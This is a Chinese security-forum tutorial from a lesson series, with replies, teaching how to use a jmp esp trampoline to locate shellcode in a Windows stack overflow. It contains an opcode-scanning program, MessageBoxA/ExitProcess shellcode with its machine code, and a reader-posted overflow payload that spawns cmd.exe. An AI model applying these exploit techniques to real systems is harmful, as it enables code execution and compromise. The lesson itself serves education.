首页
论坛
专栏
课程

[技术专题]软件漏洞分析入门_6_初级shellcode_定位缓冲区

2007-12-18 21:23 34939

[技术专题]软件漏洞分析入门_6_初级shellcode_定位缓冲区

2007-12-18 21:23
34939
第6讲 shellcode初级_定位缓冲区
精勤求学,敦笃励志

跟贴中看到已经有不少朋友成功的完成了前面的所有例题,今天我们在前面的基础上,继续深入。每一讲我都会引入一些新的知识和技术,但只有一点点,因为我希望在您读完贴之后就能立刻消化吸收,这是标准的循序渐进的案例式学习方法

另外在今天开始之前,我顺便说一下后面的教学计划:

我会再用3~4次的讲座来阐述shellcode技术,确保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用程序(exploit)

之后我会安排一次“期中考试”,呵呵,时间初步定在元旦的三天假期内。“期中考试”以exploit me的形式给出。不用担心,如果你掌握了我每堂课的内容,相信一定能独立完成这些exploit me的。

“优秀答卷”会有奖励,这个我和看雪正在筹划之中,不过提前告诉大家,至少我的书《0day安全:软件漏洞分析与利用》和看雪的《加密与解密第3版》是少不了的,至于有没有新的赞助和奖品,请大家留意最近论坛上的通知吧。

学习是一件枯燥的事情,包括安全技术在内。我只能让这枯燥和晦涩的技术尽量变得生动有趣,但这并不意味着随随便便就能领会其中的内涵。精勤求学,敦笃励志的精神永远是需要的,不光是安全技术,学习任何东西都需要。

大家打起精神来,在学几次,说不定在获得exploit的乐趣的同时,还能赚点好处呢。呵呵。

好了,在开始今天课程之前,先回忆下第5讲在结束时,我提出的windows平台下的几个关键问题:

1:缓冲区距离返回地址间的距离确定,或者说缓冲区大小的确定。一般我们通过调试可以直接看出缓冲区的大小。但是实际漏洞利用中,有时缓冲区的大小甚至是动态 的,这台机器上返回地址是200个字节的偏移,下个机器就可能变成208字节了。

2:定位shellcode的位置。栈帧中的缓冲区地址经常是不定的,尤其是在windows平台下。要想在淹没返回地址后准确的返回到shellcode上,像第5讲那样直接在调试中查出来写死在password.txt文件中肯定不行

3:定位需要的API。在shellcode中一般要完绑定端口建立socket侦听等功能,需要调用一系列windowsAPI。这些API的入口地址根据操作系统的版本,补丁版本会有很大差异。像第5讲中那样直接把API地址查出来是没办法写出稳定的,通用的shellcode的

4:shellcode对特定字节的敏感。在跟贴中已经有同学发现这个问题了,strcpy,fscan对于一些特定的字节有特殊的处理,如串截断符0x00等。当限制较少时,编写shellcode还可以通过选用特殊指令来避免这些值,但有时会限制比较苛刻,这将对shellcode的开发带来很大困难——用汇编写程序本来就够难了,还要考虑指令对应的机器码的值
5:shellcode的大小也很重要。即便是高手,完成一个比较通用的用于绑定端口的shellcode也要300~400字节。当缓冲区非常狭小时,有什么办法能够优化shellcode让它变得更精悍些呢?

这些内容就是接下来几讲我们将要关注的东西。今天我们主要来看第2个问题,怎样做到比较通用和稳定的确定缓冲区(shellcode)的位置。

    回忆第5讲中的代码植入实验,当我们可以用越界的字符完全控制返回地址后,需要将返回地址改写成shellcode在内存中的起始地址。在实际的漏洞利用过程中,由于动态链接库的装入和卸载等原因,windows进程的函数栈帧很有可能会产生“移位”,即shellcode在内存中的地址是会动态变化的,因此像第5讲中那样将返回地址简单地覆盖成一个定值的作法往往不能让exploit奏效。


图1

    因此,要想使exploit不致于10次中只有2次能成功地运行shellcode,我们必须想出一种方法能够在程序运行时动态定位栈中的shellcode。

回顾第5讲中实验在verify_password函数返回后栈中的情况:


图2

绿色的线条体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址0x0012FAF0,函数返回时这个地址被弹入EIP寄存器,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。

红色的线条则点出了这样一个细节:在函数返回的时候,ESP恰好指向栈帧中返回地址的后一个位置!

    一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置。

注意:函数返回时ESP所指位置与函数调用约定、返回指令等有关。如retn 3与retn 4在返回后,ESP所指的位置都会有所差异。


图3

    由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们可以使用上图所示的这种定位shellcode的方法来进行动态定位:

用内存中任意一个jmp esp指令的地址覆盖函数返回地址,而不是原来用手工查出的shellcode起始地址直接覆盖

函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode

由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。

重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样jmp esp指令执行过后会恰好跳进shellcode。

    这种定位shellcode的方法使用进程空间里一条jmp esp指令做“跳板”,不论栈帧怎么“移位”,都能够精确的跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。

    下面就请和我一起把第5讲中的password.txt文件改造成上述思路的exploit,并加入安全退出的代码避免点击消息框后程序的崩溃。

    我们必须首先获得进程空间内一条jmp esp指令的地址作为“跳板”。

    第5讲中的有漏洞的密码验证程序已经加载了user32.dll,所以我们准备使用user32.dll中的jmp esp指令做为跳板。这里给出两种方法获得跳转指令。第一种当然是编程了,自己动手,丰衣足食。事实上所有的问题都能够通过自己编程来解决的。这是我的程序

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
    BYTE* ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf(" load dll erro !");
        exit(0);
    }

    ptr = (BYTE*)handle;

    for(position = 0; !done_flag; position++)
    {
        try
        {
            if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
}

    jmp esp对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存地址(指针值)。

    如果您想使用别的动态链接库中的地址如“kernel32.dll”,“mfc42.dll”等;或者使用其他类型的跳转地址如call esp,jmp ebp等的话,也可以通过对上述程序稍加修改而轻易获得。

    除此以外,还可以通过OllyDbg的插件轻易的获得整个进程空间中的各类跳转地址。

这里给出这个插件,点击下载插件OllyUni.dll: OllyUni.rar

把它放在OllyDbg目录下的Plugins文件夹内,重新启动OllyDbg进行调试,在代码框内单击右键,就可以使用这个插件了,如图:


图4

搜索结束后,点击OllyDbg中的“L”快捷按钮,就可以在日志窗口中查看搜索结果了。

    运行我们自己编写程序搜索跳转地址得到的结果和OllyDbg插件搜到的结果基本相同,如图:


图5

    注意:跳转指令的地址将直接关系到exploit的通用性。事实上kernel32.dll与user32.dll在不同的操作系统版本和补丁版本中,也是有所差异的。最佳的跳转地址位于那些“千年不变”且被几乎所有进程都加载的模块中。选择哪里的跳转地址将直接影响到exploit的通用性和稳定性。

    这里不妨采用位于内存0x77DC14CC处的跳转地址jmp esp作为定位shellcode的“跳板”————我并不保证这个地址通用,请你在自己的机器上重新搜索。

    在制作exploit的时候,还应当修复第5讲中的shellcode无法正常退出的缺陷。有几种思路,可以恢复堆栈和寄存器之后,返回到原来的程序流程,这里我用个简单点的偷懒的办法,在调用MessageBox之后通过调用exit函数让程序干净利落的退出。

    这里仍然用dependency walker获得这个函数的入口地址。如图,ExitProcess是kernel32.dll的导出函数,故首先查出kernel32.dll的加载基址:0x7C800000,然后加上函数的偏移地址:0x0001CDDA,得到函数入口最终的内存地址0x7C81CDDA。


图6

    写出的shellcode的源代码如下:

#include <windows.h>
int main()
{   
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
                sub sp,0x440
                xor ebx,ebx
                push ebx // cut string
                push 0x74736577
                push 0x6C696166//push failwest

                mov eax,esp //load address of failwest
                push ebx   
                push eax
                push eax
                push ebx

                mov eax,0x77D804EA // address should be reset in different OS
                call eax //call MessageboxA

                push ebx
                mov eax,0x7C81CDDA
                call eax //call exit(0)
    }
}

    为了提取出汇编代码对应的机器码,我们将上述代码用VC6.0编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:


图7

TIPS:不如直接在汇编码中加一个__asm int3,OD启动后会自动停在shellcode之前。

    通过IDA Pro等其他反汇编工具也可以从PE文件中得到对应的机器码。当然如果熟悉intel指令集的话,也可以为自己编写专用的由汇编指令到机器指令的转换工具。

    现在我们已经具备了制作新exploit需要的所有信息:

搜索到的jmp esp地址,用作重定位shellcode的“跳板”:0x77DC14CC

修改后并重新提取得到的shellcode:

机器代码(16进制)    汇编指令     注释
33 DB     XOR EBX,EBX    压入NULL结尾的”failwest”字符串。之所以用EBX
清零后入栈做为字符串的截断符,是为了避免
“PUSH 0”中的NULL,否则植入的机器码会被
strcpy函数截断。
53     PUSH EBX   
68 77 65 73 74     PUSH 74736577   
68 66 61 69 6C     PUSH 6C696166   
8B C4     MOV EAX,ESP EAX里是字符串指针
53     PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:
(0,failwest,failwest,0)
消息框为默认风格,文本区和标题都是“failwest”
50     PUSH EAX   
50     PUSH EAX   
53     PUSH EBX   
B8 EA 04 D8 77     MOV EAX, 0x77D804EA    调用MessageBoxA。注意不同的机器这
里的函数入口地址可能不同,请按实际值填入!
FF D0     CALL EAX   
53     PUSH EBX     调用exit(0)。注意不同的机器这里的函数入口地址可
能不同,请按实际值填入!
B8 DA CD 81 7C MOV EAX, 0x7C81CD   
FF D0     CALL EAX   

按照第5讲中对栈内情况的分析,我们将password.txt制作成如下形式:


图8

    现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和第5讲中已有很大不同了,最核心的地方就是使用了跳转地址定位shellcode,进程被劫持的过程正如图3中我们设计的那样。你得到那个熟悉的消息框了么?

不要小看着一点点改进。这个改进在windows漏洞利用的历史上有着举足轻重的里程碑意义。在溢出研究开始,大家都关注于linux系列的平台,阻碍大家研究windows平台下溢出的一个非常重要的问题就是栈帧移位引起的缓冲区位置很难确定。

我把这些技术点分开来一个一个的讲,是为了方便您的理解,也是为了加深印象。当您彻底领会了这些技术点之后,在后面讲到用framework的方式编写exploit的时候,您就能更轻松的掌握了。

好,今天到此为止。实验成功了不要忘了在跟贴中吱——吱——吱啊,呵呵。下次见。

[公告][征集寄语] 看雪20周年年会 | 感恩有你,一路同行

上传的附件:
最新回复 (105)
Bughoho 8 2007-12-18 21:32
2
0
我听见脚步声是预料的软皮鞋跟他推开门晚风好冷没有的预征
要学会编 2007-12-18 21:33
3
0
啊啊啊啊  终于板凳了
coollineme 2007-12-18 21:59
4
0
晕……差点来迟了,加油!!一起学习,failwest 辛苦了,感激中……
ssarg 2007-12-18 22:04
5
0
坐板凳喽,居然还有字数限制,真是麻烦
szdbg 5 2007-12-18 22:20
6
0
呵呵,谢谢老师,盼望已久!
天高飞扬 5 2007-12-18 22:52
7
0
终于等到了,继续学习......
黑色猎鹰 2007-12-18 22:52
8
0
终于坐第一派
szdbg 5 2007-12-18 23:41
9
0
吱——吱——吱

真是越来越精彩了,原来程序还可以有这样玩法!

我现在想到2个问题:

1. 这样处理后,将程序父函数堆栈中的有用的数据破坏得乱七八糟,这种方式下,肯定无法正确返回到原程序流程中来,不知是否有较好的方法能够回到原程序中去。

2. 对于MessageBoxA和ExitProcess之类的API函数地址的地址的确定目前实验还是通过硬编码来确定的。实际中,是否应该通过爆力搜索内存中Kernel模块和LoadLibraryA,及GetProcAddress函数来实现?如果这样的话,ShellCode代码尺寸可能较大,堆栈中缓冲区可能难以容下(不应该破坏父函数堆栈中的数据,以便能够返回原程序)。
combojiang 26 2007-12-18 23:42
10
0
哈哈,做到第一排了,讲的非常精彩,赞一个。
webfly 2007-12-18 23:47
11
0
见一次顶一次~~~
dttom 3 2007-12-18 23:59
12
0
这么快就到第二页
lmcc 2007-12-19 00:20
13
0
我晕,看来 在等作者大大更新的人 大有人在啊,我只是出去上了个厕所,就只能站在门外听了```
HSQ 8 2007-12-19 08:50
14
0
听课留名
assassingj 2007-12-19 10:14
15
0
继续继续。。
smallworm 2007-12-19 10:37
16
0
深入浅出,谢谢!
wzmooo 2007-12-19 11:29
17
0
我晕第2排了
yijun8354 12 2007-12-19 12:18
18
0
接着学习~~~
you8107 1 2007-12-19 12:24
19
0
为什么,为什么讲的那么好呢,天天等啊,
evilcode 2007-12-19 13:05
20
0
真不错啊,可是我还不明白说什么strcpy截断那里,
不知道为什么有
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166
wdbxm 2007-12-19 15:54
21
0
吱——吱——吱
成功了哈~
天高飞扬 5 2007-12-20 00:33
22
0
郁闷,还没成功
老师:举手向你提个问题?
1、在第一个用老师自编的程序在user32.dll中的jmp esp指令做为跳板找返回其内存地址(指针值)的程序中是.cpp程序中吧?刚开始我保存为.c时老是找不着关键字try和catch,后来将程序改为.cpp调试则通过了,不过程序找出一大堆(指针值),但是用OD载入时却提示找不着地址,所以无法对照确定是哪一个?
2、新制作的password.txt文件是否还是需要放到第五讲中的例子中执行?
在此先谢了!
fqucuo 4 2007-12-20 08:50
23
0
吱——吱——吱
O Yeah!搞定了! 顶起来先
wdbxm 2007-12-20 09:43
24
0
找出来的,随便用一个都可以啊~
天高飞扬 5 2007-12-20 10:05
25
0
谢谢提醒,我还一直以为问题出在这里呢,后来一对照password.txt文件,才知道是自己调用的MessageBoxA地址照抄成老师给的地址了......

问题解决了,又可以大叫三声:

    吱--吱--吱

   
LULU 2007-12-20 10:30
26
0
呵呵,吱一声,好玩哟
kingwrcy 2007-12-20 11:07
27
0
是如何得到参数的地址的?
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166
这2个地址应该是"failwest"的地址吧?是如何得到这2个地址的呢?
还有cpu如何知道一个参数已经结束?接下来的是第2个参数呢?如果是在参数末尾加\0,那要怎么写汇编代码呢?希望大牛们写个代码让我看看,先行谢过了!期待...
failwest 8 2007-12-20 11:23
28
0
其实
push ebx // cut string
                push 0x74736577
                push 0x6C696166//push failwest
并不是压得参数本身,只是把failwest存入内存,这里为了简单,就直接存到栈里了,当然存任何地方都可以

首先记得ESP永远指向栈顶,那么:

PUSH ebx
这句就是在栈里放个0,因为EBX已经在前一句清0了,这时ESP指向这个0

top
0 《---esp
bottom

push 0x74736577
向栈中压入“west”。这时ESP指向“west”,当然后面跟着先前的0,刚好构成字符串

top
west  《----esp
0
bottom

push 0x6C696166
向栈中压入“fail”。这是ESP指向“fail”,当然后面跟着先前的west和0

top
fail  《---esp
west
0
bottom

所以这时的ESP值相当于指向字符串failwest的指针,把它保存在EAX里边

are we clear now?

我们最终的参数只是调用前的四次压栈,两次EBX(0),两次EAX(字符串指针)

至于函数怎么用这些参数,请你回去精读第3讲中的内容,或者自己写点传参数的例子,亲自动手跟几遍就彻底明白了——这是搞清问题的最有效办法
bzhkl 5 2007-12-20 12:01
29
0
看了楼上的帖子 想到一个成语 循循善诱~
kingwrcy 2007-12-20 13:11
30
0
多谢老大,弄清楚68 77 65 73 74  PUSH 74736577  68 66 61 69 6C  PUSH 6C696166
了,先前一直以为是字符串的地址,原来就是字符串!
再次感谢!`
阿南 2007-12-20 19:48
31
0
看完这个  心里就2个字.......阴险......ESP指向溢出覆盖地址的后面 原来是利用堆栈平衡...
wdbxm 2007-12-20 21:03
32
0
老师下一讲什么时候呢?期待哈~早点端凳子等着
iupek 2007-12-20 21:42
33
0
吱——吱——吱
xang 2007-12-21 00:09
34
0
继续学习中,楼主辛苦
CL_nelson 2007-12-21 14:22
35
0
不错,呵呵,我喜欢,呵呵
htsf110 2007-12-21 20:29
36
0
出的好慢呀,7什么时候出呀!!等不急了,最好快点出书吧
KuNgBiM 66 2007-12-22 03:34
37
0
讲的非常精彩,赞一个
笑熬浆糊 2 2007-12-22 15:06
38
0
哇哈哈哈  先顶后看
oeptt 2007-12-22 15:11
39
0
吱——吱——吱
壹只老虎 7 2007-12-22 20:58
40
0
吱——吱——吱
==============
提问:"万年不变的jmp esp"可否提供几个!
coolbye 2007-12-23 00:03
41
0
吱~~~~~~~~~~~~~~~~~~~~~~~~
atylon 2007-12-23 00:47
42
0
吱............................
看到用jmp esp的说明,有点不明白,可是老大后面的说明并没有用jump esp, 是笔误码吗?
hpxpj 1 2007-12-24 14:09
43
0
是啊!昨天晚上我看到一半就熄灯了,回去想了好久也想不出来!今天看了才知道原来是这样来"稳定"啊 呵呵
hpxpj 1 2007-12-24 14:11
44
0
不是!他是说用这jmp esp指令所在的地址啊
fqucuo 4 2007-12-24 14:27
45
0
菜鸟问题:
例子中的缓冲区是在子函数中,如果说子函数中没有缓冲区,而是由main函数获得读取字符串并传给子函数的一个字符串指针,里面只是调用了strcmp比较一下,这样的方式有没有什么好的解决办法?
hbfp 2007-12-24 20:29
46
0
学习一下,还好能看明白.
overfgf 2007-12-26 17:30
47
0
学习
吱--------吱--------吱
wangxlxk 2007-12-26 19:43
48
0
我想了好久才做出来了一个 是简单的返回一个cmd窗口
JMP ESP 是在ntdll里面找到的
7C961EED    FFE4            JMP ESP
我在本机测试没有问题  (你们看看有没有出错 不返回cmd窗口)
-----------------------------------------------------------
测试代码:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int fun(char *path);
int main(int argc, char *argv[])
{
  fun("1.txt");
  system("PAUSE");       
  return 0;
}
int fun(char *path)
{
   char buf[10];
   FILE *fp = fopen("1.txt","r+");
   fscanf(fp,"%s",buf);
   fclose(fp);
   puts(buf);
   return 1;
}
--------------------------------------------------
1.txt 文件内容 16进制编辑器复制出来的
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
00000010   61 61 61 61 61 61 61 61  61 61 61 61 ED 1E 96 7C   aaaaaaaaaaaa?東
00000020   55 89 E5 6A 00 68 65 78  65 00 68 63 6D 64 2E 54   U夊j.hexe.hcmd.T
00000030   B8 90 18 40 00 FF D0 5D                            笎.@.衇
deletex 2007-12-27 19:22
49
0
学习了,,,
救世猪 1 2007-12-27 20:52
50
0
恩,确实不错
但是我感觉还是没能及时的消化完
是不是这篇文章与第五篇的区别就在于,不用查找缓冲区的地址了???
但是其他的模块函数的地址仍然要手动查找?
游客
登录 | 注册 方可回帖
返回